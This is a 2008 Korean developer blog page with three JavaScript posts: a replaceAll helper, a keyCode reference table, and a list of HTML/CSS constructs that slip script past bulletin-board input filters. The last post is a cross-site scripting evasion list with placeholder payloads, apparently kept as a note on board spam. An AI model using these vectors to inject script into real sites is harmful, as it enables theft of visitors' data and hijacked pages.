'JavaScript'에 해당되는 글 3건

  1. 2008/07/15 [javascript] prototype replaceAll Function
  2. 2008/03/05 KeyCode 정리
  3. 2008/03/05 게시판 작성시 Javascript 우회 삽입 유형들;
Javascript에서 VB의 replace(str,a,b) 같은 함수를 쓰기위함입니다.

vb
str = replace(str,a,b)

javascript

str = str.replaceAll(a,b);

- include this function

String.prototype.replaceAll = function(str1, str2){

  var temp_str = "";
  var temp_trim = this.replace(/(^\s*)|(\s*$)/g, "");

  if (temp_trim && str1 != str2)
  {
    temp_str = temp_trim;
    while (temp_str.indexOf(str1) > -1) temp_str = temp_str.replace(str1, str2);
  }

  return temp_str;
}

'My Job > Script' 카테고리의 다른 글

jQuery 로 Ajax 개발을 단순화하기..  (0) 2009/04/24
Jquery 플러그인 모음  (0) 2009/04/03
[javascript] prototype replaceAll Function  (0) 2008/07/15
JavaScript Framework  (0) 2008/03/07
스크립트로 마우스휠 제어하기  (0) 2008/03/05
KeyCode 정리  (0) 2008/03/05
Posted by 두리미
2008/03/05 20:19

키코드 그냥 눌러서 알아보자;


엔터 13 빼고 나머진 생각도 안난다;;;
뭐.. 아래는 주요 키에 대한 정리들..


←(백스페이스) = 8
TAB = 9
ENTER = 13
SHIFT = 16
CTRL = 17
ALT = 18
PAUSEBREAK = 19
CAPSLOOK = 20
한/영 = 21
한자 = 25
ESC = 27

스패이스 = 32
PAGEUP = 33
PAGEDN = 34
END = 35
HOME =36

←(중간) = 37
↑(중간) = 38
→(중간) = 39
↓(중간) = 40

INSERT = 45
DELETE = 46

0 = 48
1 = 49
2 = 50
3 = 51
4 = 52
5 = 53
6 = 54
7 = 55
8 = 56
9 = 57

A = 65
B = 66
C = 67
D = 68
E = 69
F = 70
G = 71
H = 72
I = 73
J = 74
K = 75
L = 76
M = 77
N = 78
O = 79
P = 80
Q = 81
R = 82
S = 83
T = 84
U = 85
V = 86
W = 87
X = 88
Y = 89
Z = 90

윈도우(왼쪽) = 91
윈도우(오른쪽) = 92
기능키 = 93

0(오른쪽) = 96
1(오른쪽) = 97
2(오른쪽) = 98
3(오른쪽) = 99
4(오른쪽) = 100
5(오른쪽) = 101
6(오른쪽) = 102
7(오른쪽) = 103
8(오른쪽) = 104
9(오른쪽) = 105


.(오른쪽) = 110
/(오른쪽) = 111
*(오른쪽) = 106
+(오른쪽) = 107
-(오른쪽) = 109

F1 = 112
F2 = 113
F3 = 114
F4 = 115
F5 = 116
F6 = 117
F7 = 118
F8 = 119
F9 = 120
F10 = 121
F11 = 122
F12 = 123

NUMLOCK = 144
SCROLLLOCK = 145
=(중간) = 187
-(중간) = 189
`(왼쪽콤마) = 192
\(중간) = 220


-- IE 전용

<script>document.onkeydown=function(){document.body.innerHTML=event.keyCode+'<br>'+document.body.innerHTML}
</script>

-- 범용

<form name=f><textarea name=t></textarea></form>
<script>document.onkeydown=function(){document.f.t.value=event.keyCode+'\n'+document.f.t.value}</script>

'My Job > Script' 카테고리의 다른 글

[javascript] prototype replaceAll Function  (0) 2008/07/15
JavaScript Framework  (0) 2008/03/07
스크립트로 마우스휠 제어하기  (0) 2008/03/05
KeyCode 정리  (0) 2008/03/05
게시판 작성시 Javascript 우회 삽입 유형들;  (0) 2008/03/05
JSON (JavaScript Object Notation)  (0) 2008/03/05
Posted by 두리미
아래와 같은 코드를 게시판등에 삽입해 웹브라우저로 하여금 자바스크립트 코드를 실행하게 할 수 있다.
hidden iframe에 xmlhttp를 통해 서버로 클라이언트 정보를 보내는 페이지를 호출시켜버릴수도 있다는 거다. 요즘 게시판 광고쟁이들땜에 고민이 크다;

나 클릭!! 뭐.. 안해도 괜찮고; 어짜피 낚을꺼..







<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript!:[code]">
<img src="mocha!:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour!: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression!([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>

'My Job > Script' 카테고리의 다른 글

[javascript] prototype replaceAll Function  (0) 2008/07/15
JavaScript Framework  (0) 2008/03/07
스크립트로 마우스휠 제어하기  (0) 2008/03/05
KeyCode 정리  (0) 2008/03/05
게시판 작성시 Javascript 우회 삽입 유형들;  (0) 2008/03/05
JSON (JavaScript Object Notation)  (0) 2008/03/05
Posted by 두리미
이전버튼 1 이전버튼